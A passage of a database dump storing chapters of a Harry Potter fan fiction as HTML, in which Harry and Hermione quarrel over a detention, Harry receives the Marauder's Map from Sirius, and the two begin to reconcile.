shouted,\n&quot;Slytherin!&quot; He smirked and joined his cronies at the Slytherin table\nat the left.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hagrid beamed on Harry as he called Harry\'s name. Harry felt\nfoolish when he put the hat on and instantly heard a voice come from above his\nhead. &quot;Ah, so you are the one who defeated him. You must really be\npowerful...Hmm, interesting now that I mention power. You could do well in\nSlytherin. No? It\'s all here in your head. No doubt about it. You would rather\nbe with that girl instead? Fine choice, she really is something&#8230; oops, I got\noff topic. Anyway....Gryffindor!&quot; Harry heard the hat shout, took the hat off,\nand placed it back on the stool. He walked towards to the Gryffindor table as\nthey clapped, Hermione clapping the hardest. Harry watched on as his new\nfriends Neville Longbottom and Ron Weasley got sorted into Gryffindor was well.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Dumbledore stood up and cleared his throat for everyone\'s\nattention. &quot;Welcome students, just a couple of announcements before the\nfeast begin. First, the Forbidden Forest is forbidden for all students no\nmatter the rank. Second, the third floor corridor is also forbidden. (A/n: No,\nI am not going to copy J.K.\'s work of art. You\'ll see what I am going to do\nlater.) Third, Mr. Filch has updated his list of unwanted items in the school\ngrounds for the latest items of Zonko\'s.&quot; Two redheaded twins groaned at\nthis. &quot;Forth, Mr. Quirrell decided to show his true colors last year as a\nservant of Voldemort.&quot; Many students gasped as he said this, but\nDumbledore just smiled. &quot;Replacing him is Professor Black, who kindly\nvolunteered for this position.&quot; Everyone clapped including the staff except\nfor one man who just sneered at him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;What is up his arse?&quot; Harry asked Hermione who\njust shrugged.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Now, without further ado. Let the feast begin!&quot;\nAlong the tables, the empty gold plates that were there instantly filled with\nfood. Harry laughed at his friend Ron who jumped at the food as if he would die\na second later without it. Twenty minutes later, dessert appeared, and minutes\nafter that, Dumbledore cleared his throat again. &quot;Now, before you sleep in\nyour respective rooms,&quot; Dumbledore looked at a few seventh years,\n&quot;lets sing the school song.&quot; &quot;Now prefects, please lead the\nfirst years to their proper houses.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Okay, first years, over here.&quot; Another redheaded\nboy with freckles stepped up, he looked like Ron and the twins that groaned\nbeforehand, but he had a Prefect\'s badge on his chest. &quot;Ron, stop eating,\nyou are making our family look bad.&quot; &quot;Thanks for embarrassing me\nPercy,&quot; Ron blushed, took one last bite of ice cream, and followed\neveryone towards the Gryffindor Tower. &quot;Remember this portrait of the Fat\nLady, this is the entrance to the Gryffindor Tower, the password this month is\n\'Courage\',&quot; Percy said walking up to the portrait.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I am not fat, the painter just drew me awfully,&quot;\nthe Fat Lady said blushing and opened up as a hinge.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Male dorms are to the right, female\'s to the left.\nPlease stay in your respective dorms and try not to mix up. You will find that\nyour luggage is already in your dorms. Good night, and if you have any\nquestions, feel free to ask.&quot; Percy waited for the questions and left\nsince there weren\'t any. The first years all yawned, scratched, and left to\ntheir dorms. Harry found himself sharing his dorm with his new friends Ron and\nNeville, along with his other classmates, Seamus Finnigan and Dean Thomas.\nHarry went to the bed where his trunk was in front of and guessing it was his\nbed, jumped in and fell into deep sleep. (I always wondered how they knew which\nbed was theirs or not.)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The next morning Harry woke up before his other roommates did,\ntook a shower, changed clothes, brushed his teeth and went down to the cozy\nGryffindor common room to read a book Hermione introduced him to. No sooner had\nhe started reading Ron came down and saw him reading &quot;Hogwarts: A\nHistory&quot; and practically shouted, &quot;You reading that blasted\nthing?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry blushed and before he could say anything, &quot;I\nhappen to find that book quite interesting Weasley.&quot; Hermione said coolly.\nNote to anyone: Never insult Hermione or her favorite reading material Harry\nthought shaking his head grinning. &quot;And what is so funny Potter?&quot;\nHermione snapped.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Nothing,&quot; Harry said the best innocent look he\ncould muster while grinning.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione couldn\'t help smiling at the cute face Harry put\nup, &quot;Ron, you better get dressed, class starts in one hour!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Sure, and I better get started on my goodbye speech,\nmy last year here is in seven years!&quot; Ron said sarcastically and went back\nto his dorm for more sleep.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\'s face grew red at his comment, which grew a deeper\nshade of red when Harry put his arm around her shoulder. &quot;Awe Hermy, don\'t\nlet his words get to you, there is nothing wrong with being a morning person.\nNow would you kindly join me to breakfast, it should start any minute\nnow.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Sh-sure,&quot; Hermione stuttered and walked along\nside him to the Great Hall.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">After talking half an hour about the subjects they were\nabout to receive, more students joined in at the Great Hall and started eating.\nFifteen minutes after that, owls started flying in. Harry never seen so many\nbirds in one place, and was even more surprised that none of the owls dropped a\nfeather. When the amount of owls died down, the heads of houses started handing\nout schedules for the students. &quot;Interesting,&quot; Hermione said out of a\nsudden.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;What is?&quot; Harry asked in curiosity and looked at\nhis schedule harder to see what is was.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;We seem to have double potions, but every other class\nis only once. I wonder why, (A/n: Anyone else notice that they seem to have\ndouble potions every year?.)&quot; Hermione answered still looking at the\nschedule some more.</p>\n\n\n\n\n\n\n'),
	(262, 4, '\n\n\n\n<p class="MsoNormal">Hermione\'s Unlucky Day</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry, Hermione, and Ron had quite a hard time getting to\nknow the castle. They were, to Hermione\'s disappointment, late to 3 of their\nclasses, but were excused. The three entered History of Magic class fully energetic,\ncame out two yawning and one full of energy, not to mention notes. &quot;What a\ninteresting lesson, who knew magic was so feared in the medieval times!&quot;\nHermione babbled and continued even though Harry and Ron were staring at her as\nif she was mad.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Great gods, we\'re going to be late for potions,&quot;\nRon said looking at his wristwatch. It had two hands, one with the words\n&quot;to be at&quot; and the other saying &quot;here&quot; and the &quot;to be\nat&quot; was nearing potions. They ran as fast as they could, they ran so much\nthey couldn\'t even see where they were heading. The next place they noticed was\nthe Great Hall, which was the place they started at before.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Harry, Hermione, Ron, what are you doing here?\nShouldn\'t you be in class?&quot; Nick appeared out of nowhere on the ground.\nThis startled them, which please him very much.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;We can\'t find out way to the dungeons Sir\nNicholas.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Exit through that door and you should see several\nstairs to your left, take the one furthest east down the stairs and then head\nto your right, the dungeon should be within a minutes walk from there,&quot;\nSir Nicholas said tipping his head as a gesture of goodbye.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Thank you!&quot; They said in unison and ran in the\ndirections Nick gave them. In no time, they found the dungeons and a very happy\nSnape. &quot;Sorry professor, Harry/ Hermione needed to use the bathroom - I\nmean I -couldn\'t just leave Harry/Hermione.&quot; They were wishing one of them\nwould shut up, so the story would seem real, God however, didn\'t seem to be on\ntheir side of the field.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Even came up with a story, eh, Potter, Granger. It\ndoes seem that children of troublemakers and fame don\'t mix, do they.&quot;\nSnape grinned like the Grinch Who Stole Christmas. If Harry and Hermione didn\'t\nhave such a strong friendship, they would have been at the other\'s throats.\n&quot;Detention both of you... Level Four punishment.&quot; Snape\'s grin was\ngrowing in width a mile a minute as Harry and Hermione cowered at the last\nthree words.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The school had a new policy of punishment thanks to Snape\nand Filch. After many debate, Dumbledore finally agreed that teachers of other\nhouses were allowed to punish students accordingly and fairly of their crimes.\nHarry and Hermione\'s crimes were being late &quot;on purpose&quot; and trying\nto lie to a teacher while looking at him straight in the eye. Since no teacher\ncould judge how awful the crime was, the heads of houses were to be fair and\nnot to go beyond their jurisdiction. The lowest punishment was level one, where\nthe student must write lines like those that a muggle school would punish. Next\nwas level two, where the parents would be warned by owl, and left the\npunishment to them. Level three punishment is probation of leaving the tower\nnone other than to eat or go to class. Level Four punishment was extreme, it\nhas been rumored that Filch purposely pour slugs all over trophies, medals,\nplaques, and memorials, and the one whom is punished much clean all the items\nin the trophy rooms the muggle style. Level 5 was extreme, and the student must\nleave campus under suspension, but this level of punishment must be given proof\nbefore it could be handed to a student. Expulsion was still under heads of the\ncertain houses to Snape\'s disappointment.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione was pacing around the Gryffindor Common Room\nmumbling in anger. &quot;Hermione, for the five-hundred-forty-eighth time, I\'m\nsorry. Now would you please stop and calm down? Detention is not until tomorrow\nSaturday evening. Now can you just sit and relax?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Sit and relax? How can I sit and relax? Level Four\ndetentions Harry, this is going to stay in my permanent record for sure, I will\nnever be a decent witch. Do you want to know how I got this punishment? It is\nbecause my worthless jerk of a friend couldn\'t keep his mouth shut!&quot;\nHermione screamed at the top of her lungs. Harry was so shocked he couldn\'t even\ncome up with anything to throw back at her; instead, he just got up and left\nfor the boys\' dormitories. Hermione sat by window peering outside it waiting\nfor Harry\'s comeback, but nothing came, she glared behind her expecting him to\nbe glaring back, only to find him heading up the stairs.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Wait Harry.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Oh don\'t let this WORTHLESS JERK get in your way of\nyour record.&quot; Harry shouted continuing up the stairs not even looking\ndown. &quot;Unless you need this WORTHLESS JERK to scream at some more, I have\nno business down there.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I didn\'t mean for the words to.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Hurt me? Oh, I\'m touched.&quot; Harry interrupted and\nslammed the door of this dorm.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;.Come out that way.&quot; Hermione said silently and\nsat by the fire staring down on her lap crying until she fell asleep.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">No matter how Hermione treats him, Harry would always find\nher as a friend. He spent half an hour tossing and turning in bed, trying to\nget some sleep, but ended up surrendering to his guilt and went back down to\nthe common room hoping Hermione left for her dorms. He went down cursing his\nluck that she was still in there, but also thanking it for she was still\nasleep. He sat on the couch that was quite far from where Hermione was sleep\nand stared into the fire. He later noticed her shivering in her sleep and he\nthen cursed his gentlemen ways and went up to his room to get a blanket for he\nwas still unable to transfigure one out of thin air. He covered her completely\nwith the blanket and sat back at the couch.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He noticed her shiver clamed down and he then felt cold, he\nedged toward the fire for some warmth rather than to disturb her. He stared\ninto the fire deep at thought, trying to think of the best way to punish her\nfor calling him a worthless jerk (A/n: believe me, all guys first think of\nrevenge before thinking of forgiving or forget). He decided to give her the\nsilent treatment which was known as the best way of showing anger without truly\nhurting the other\'s feelings.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;We are to find out what our punishment is in a few\nhours, and it\'s time for breakfast, your stomach\'s been growling all morning\n(A/n: Yes, thank you for correcting me),&quot; Harry said as grumpily as he\ncould while trying to hold back a smile.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">*Seems like he is still mad at me, at least he is still\ntalking to me,* Hermione couldn\'t have been more wrong. Harry was only doing\nthis because he just didn\'t want her to get into more trouble by not turning\nup. Hermione smiled and went up to her dorms to take a quick shower and change.\nShe came back down to the common room to find it several morning students but\nno sign of Harry. *Must be really hungry,* she thought and left for the Great\nHall. Harry began to eat as fast as he could and left the table before Hermione\ncould sit, &quot;Are you avoiding me?&quot; She asked, but he just ignored her.\nHe left for the staff\'s table and headed toward Professor Snape whom gave him a\nsheet of paper and used the banishing charm to send the other slip to Hermione.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Just as the rumors predicted, her slip said to clean the\ntrophy room. Surprisingly, only one trophy was dirty and was hardly one wipe,\nbut level four detentions were supposed to be at least three hours long, if\nthey finished early, they would then have another task. Hermione found it\nstrange that she was alone and Harry was nowhere in sight, she just shrugged it\noff guessing he is probably at the bathroom or something. Just as the three\nhours were about to be over, she began to get suspicious, and looked at her\ndetention slip once more. As if by magic, her sheet now said Mop Whole North\nTower, it wasn\'t supposed to change unless the teacher told the paper to do so&#8230;\n*Snape!* She thought and ran to the North Tower as fast as she could.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">When she got there, the first nine floors were already\nsparkly clean and Harry was almost done with the tenth. &quot;Oh look, the witch\nwho believes someone worthless should do all the work for him,&quot; Harry shot\nbitterly and made the final touch to the tenth floor and the mops and buckets\ndisappeared from sight. He didn\'t even care bout the silent treatment anymore\nand stormed past her before she could say anything, like the mops and buckets,\nhe disappeared from sight.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Well done Ms. Granger, extra credit points for working\nalone, not that you need them as much as Potter though,&quot; Professor Snape\nsaid coming down from the Divination room. His smile was so wicked it was\nnauseating.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Congratulations Hermione, now you should know how\nColumbus feels when he took credit for discovering America, you know, I\ndefended you when you were called selfish, mean, and bossy. Now, I don\'t know\nwhose side I\'m on anymore.&quot; Harry said to her and he went up to his\ndormitories.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&gt;-&gt;-&gt;-&gt;-&gt;Sorry if this seems somewhat sad,\nwhat am I thinking \'somewhat\', I mean really sad. I got this idea from a friend\nwho said all guys are jerks. Well, thanks to you all for reviewing, I\nappreciate the reviews all of you have to give ^^ &lt;-&lt;-&lt;-&lt;-&lt;</p>\n\n\n\n\n\n\n'),
	(262, 5, '\n\n\n\n<p class="MsoNormal" style="tab-stops:1.0in">A/n: I believe Argus is the\nshortened term of Augustus, however I could be wrong.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Chapter 5: Meeting Sirius</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\'s Side of the View (Finally huh?)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">*Sometimes she just makes me so mad* Harry thought angrily to\nhimself while burying his face into his pillow. Before he noticed, he fell\nasleep. When he woke up, it was already dark; he still felt tired after all the\nwork he had done in the North Tower. In many ways, he was thankful to have had\nthe Dursleys, if it wasn\'t for them, he wouldn\'t have been prepared for all\nthese hard labor work he is going through now. He looked at this clock, it was\npointing at &quot;Should be asleep&quot;. The next thing he noticed was his\nconstant rumbling in the mid areas, he left the bed and headed for the Common\nRoom.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">*This is where it all started* he gave a sigh and sat down\nat the couch closest to the fire. His stomach gave another large growl and by\ncoincidence, the fire turned green and cold. Then out popped a handsome man\nnear the mid thirties. Harry recognized the man in an instant; he was Professor\nBlack, the Defense Against the Dark Arts teacher. Since Professor Black had his\nback to Harry, he didn\'t notice Harry sitting there.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Remus, I don\'t know about this, Harry might get frightened,&quot;\nProfessor seemed to be talking to himself. Harry covered his mouth to keep\nhimself from making any sound after another voice replied.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Sirius, Harry has the right to know-&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Know what?&quot; Harry blurted and quickly covered his\nmouth, cursing his idiocy.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Harry!&quot; Sirius along with the unknown voice\ngasped at once. Then another man appeared from nowhere, he was wearing some\nkind of cloak made of water.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Know what?&quot; Harry repeated, his courage kicking\nin.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Well, err. Remus, better you explain.&quot; Professor\nBlack said nervously.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Um, OK, Harry, my name is Remus Lupin, and this is\nSirius Black, or you might know him as Professor Black. We were friends of your\nfather\'s, well, best of friends in fact.&quot; Harry nodded, &quot;Well, when\nyou are about a year old, Lily and James were murdered, but then as you might\nhave heard, Ethan Granger defeated Voldemort,&quot; Remus and Sirius rolled\ntheir eyes, &quot;well you can just forget ever hearing that because it is a\nload of dung. You shall find out who really defeated Voldemort when you are\nolder. But for now, we have several gifts from your godfather Sirius-&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Godfather!&quot; Harry almost awakened the entire\nGryffindor Tower.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Shhh, I guess I did forget to mention it, but Sirius\nhere is to keep you safe from harm. There are several people in this school who\nknows who really defeated Voldemort, anyway, Sirius?&quot; Remus backed up.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Harry, these are possession that had once belonged to\nyour father himself. This is the Marauder\'s Map, just tap the parchment with\nyour wand and repeat after me,&quot; Harry did as told, &quot;I solemnly swear\nthat I am up to no good.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">In an instant, as if several invisible hands were drawing on\nthe map at once, the map began to fill itself. &quot;Each member of the Marauders\nhas a copy of this map. Now, this is the Invisibility Cloak, Remus, if you\nwould kindly demonstrate.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Remus held his watery cloak and wrapped it around his body,\nwhich quickly became invisible to the naked eye leaving only his head visible;\nmaking it seem his head was floating. &quot;James used the cloak and the map to\nget to kitchens for some food after small arguments with Lily.&quot; Sirius\nsaid smiling and remembers his days as a Hogwarts student.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Um, where is the kitchen now? I am rather\nhungry,&quot; Harry said, his stomach agreed with a grumble.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Sirius brightened up into a different memory and smiled,\n&quot;Sure, just look into the Marauder\'s Map, and try to stay away from any\nother dot that comes near by. Sorry, but we need Remus to sneak out unnoticed,\nso he needs to cloak for now. I promise I will give it to you in class. I\nbelieve your class has Defense Against Dark Arts class tomorrow. See you\nthen.&quot; The common room\'s fire turned green once again and the two men\nleft. &quot;Oh, to turn of the map, point at the map and say &quot;Mischief\nMangled!&quot; Sirius yelled as he was sent back to his office.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry looked at the map, the dot Harry Potter was in the\nGryffindor Common room. He stepped out of hole that led to back to the halls to\nfind his dot doing exactly the same thing. As soon as he left, he saw another\ndot that had the name &quot;Argus Filch&quot; above it. Harry quickly jumped\nbehind a suit of armor and as predicted, Filch past right by.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry gave a sigh of relief and headed for the kitchens.\nAlong the way, he passed through Professor McGonagall and Professor Snape in a\nconversation, Peeves, and Mrs. Norris. When he reached his destination, he saw\na portrait of fruit. He looked at his map to see if it was malfunctioning when\na bubble thought appeared next to his dot saying, &quot;tickle the pear&quot;.\nHarry did as instructed and the portrait opened like the Fat Lady\'s portrait.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Guest!&quot; One of the elves shouted and within a\nnanosecond, a dozen more elves appeared. &quot;One of the master\'s students\ncomes as guest. Would you like food? (I am trying my best elf talk.)&quot; One\nof the elves asked holding a large plate veggies and meat.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Thank you, sorry to say, I missed today\'s dinner.\nWhat\'s your name?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The house elf shivered. &quot;You so kind to us house elves,\nyou treat us like equals! You just like master himself. Would you like seconds\nsir?&quot; The house elf got another plate, this time full of pasties.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Thank you, you still haven\'t told me your name.&quot;\nHarry replied with his mouth full.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Dobby, sir, Dobby the house elf.&quot; The house elf\nbowed, his nose almost touching the ground.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Wow, that was delicious Dobby, I can\'t believe I am\nfull already. Oh, how rude of me, I know your name, but you don\'t know mine. My\nname is Harry Potter.&quot; Harry said, stretching and patting his stomach afterwards.\n&quot;I think I should be leaving, thank you Dobby.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Good bye, Mr. Potter sir, come back to visit\nanytime.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Thank you,&quot; Harry repeated and left the portrait.\nHe was so full and happy, he forgot about being mad at Hermione. He\nsurprisingly made it back to the common room without hassle and the map. He\nwent straight to bed and fell down, out cold.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">On Monday morning, Ron telling him to wake up roughly shook\nhim up. &quot;All right, all right, I\'m up, I\'m up.&quot; Harry said groggily.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Would you like to tell me your troubles mate?&quot;\nRon asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;How do you know I got troubles?&quot; Harry asked\nsuddenly remembering the whole fiasco with Hermione.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I have five brothers and a sister. I think I could\ngrow up to be a therapist. So what is wrong?&quot; Ron repeated.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Hermione.&quot; Harry simply replied the best he could\nwhile brushing his teeth.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;The daughter of Ethan? What does she have to do with\nyour troubles?&quot; Ron asked sitting down, crossing his legs like a\ntherapist.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;We got into a fight,&quot; he said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Well, you two are great friends, I\'m sure you can work\nit out.&quot; Ron said, still in the same position.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I hope,&quot; Harry said, stepping out of the\nbathroom, done with his morning routine. As soon as he stepped outside, he saw\nRon, pictured him with glasses, white hair, bushy eyebrows, and smoking a pipe,\nlike a stereotypic therapist, and laughed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;You\'re cured!&quot; Harry laughed harder, &quot;You\'re\nlaughing, haven\'t seen you do that in days. Now lets hurry, I\'m hungry.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">They left to the Great Hall for breakfast. Harry stopped\nhimself from sitting next to Hermione and sat next to Ron, a few seats away\nfrom her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;You\'re going to have to face her sometime mate.&quot;\nRon said taking a bite out of his toast.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I know, just not now.&quot; Harry restrained himself from\nlooking at her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;You better start eating, we have double potions right\naway.&quot; Ron said now eating an apple.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Oh joy, time with the Slytherin.&quot; Harry said\nsarcastically and left the table with Ron.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">They spent two hours being insulted by Snape on their\nlimited intelligence on sleeping potions while absolutely ignoring Hermione\'s\nhand. When the class was finally over, they had Defense Against the Dark Arts\nclass. Harry and Ron were really looking forward to the class.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;My name is Sirius Black, also know as Professor Black.\nMany of you may know me for being the ex convict that was falsely accused of\nmurder.&quot; Harry finally remembered where he had heard his name, Hermione\nmentioned him on the Hogwarts Express. &quot;Defense Against the Dark Arts is\nnot a stroll in a park. Many monsters have awful effects on you like Dementors,\nwe will not be going into child\'s play like Cornish Pixies however.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Sirius continued describing what they would be going\nthroughout most of the class time. To pass the time, he later asked what curses\nor hexes the students knew. He stopped calling on Hermione after she listed 10\ncurses/hex that not even he himself knew about. When DADA was finally over,\neverybody left but Harry. &quot;Here you go Harry, your invisibility cloak. It\nwill come in handy.&quot; Sirius said giving him a wink, and then Sirius\' face\nturned serious. &quot;Harry, as your legal guardian, I do have to right to look\nafter you. You could leave the Dursleys and come live with me if you want\nto.&quot; Sirius waited for him to answer, but it seemed Harry lost his voice.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Leave the Dursleys?&quot; Harry asked in some kind of\ntrance. This was the first good thing that happened to him in days. &quot;I\ncould come live with you? When?!&quot; Harry got all excited and asked millions\nof questions until he was going to be late for the next class. &quot;Harry,\nafter the school year, I\'ll talk with your aunt and uncle. I hope that I can\npersuade them into handing you into my care. Now you got class, shoo!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&gt;~&gt;~&gt;~&gt;~&gt; Okay, that is it for now; the next\nchapter will be from Hermione point of view. Harry is just too hard cause of\nall that can happen in his life. Yes, I am a lazy, lazy boy ~_~. I may be lazy,\nbut I still love comments/reviews, so please make some for me please? &lt;~&lt;~&lt;~&lt;~&lt;</p>\n\n\n\n\n\n\n'),
	(262, 6, ' <br>\n\n\n<p>\n\n</p><p> ================= </p>\n\n<p>\n\n</p><p> Through the Trap Door </p>\n\n<p>\n\n</p><p> ================= </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Harry began to walk around the Hogwarts grounds more often. He had gotten used to using the map and entered Hogsmeade even though no student blow third year was allowed to. He had many close calls when was in the library and had the cloak off so he could read better. Reading often reminded him of Hermione, and then he would feel a pang of guilt for treating her the way he is now. He was longing to talk to her, and then started doubting the hat for putting him into Gryffindor. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> The next mourning he left his bed half awake. Just as he entered the common room, he bumped into the last person he was prepared to talk to. Hermione. He quickly helped her pick up her books and tried to make a quick escape. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;Harry, wait, we need to talk,&quot; Hermione\'s said this quite hoarsely, she had gotten quite little sleep due to the debating of consciences. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;What about?&quot; Harry eyed to his sides, hoping for some distraction to break his tension. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;I\'m sorry for calling you a jerk and leaving you to clean all of North Tower yourself, Okay! I\'m sorry, there I apologized, happy?&quot; Hermione continued. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> *She doesn\'t sound terribly apologetic&#8230;* Harry thought. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;Look, I don\'t apologize much, so I\'m not good at it.&quot; Hermione said, sticking her tongue out at the end. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Harry couldn\'t help but laugh at the face she made. *How did she know what I was thinking? * </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;Um, mind-reading charm,&quot; Hermione blushed, &quot;Don\'t worry, it doesn\'t stops working as soon as the victim thinks of something the victim believes to be personal.&quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Harry didn\'t like the way she had said victim and felt betrayed, but he would be insane if he let this ruin their friendship again. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;Okay, I forgive ya,&quot; Harry said with a smile, &quot;Now lets go to breakfast before Ron eats all of our share.&quot; Hermione laughed for the first time in 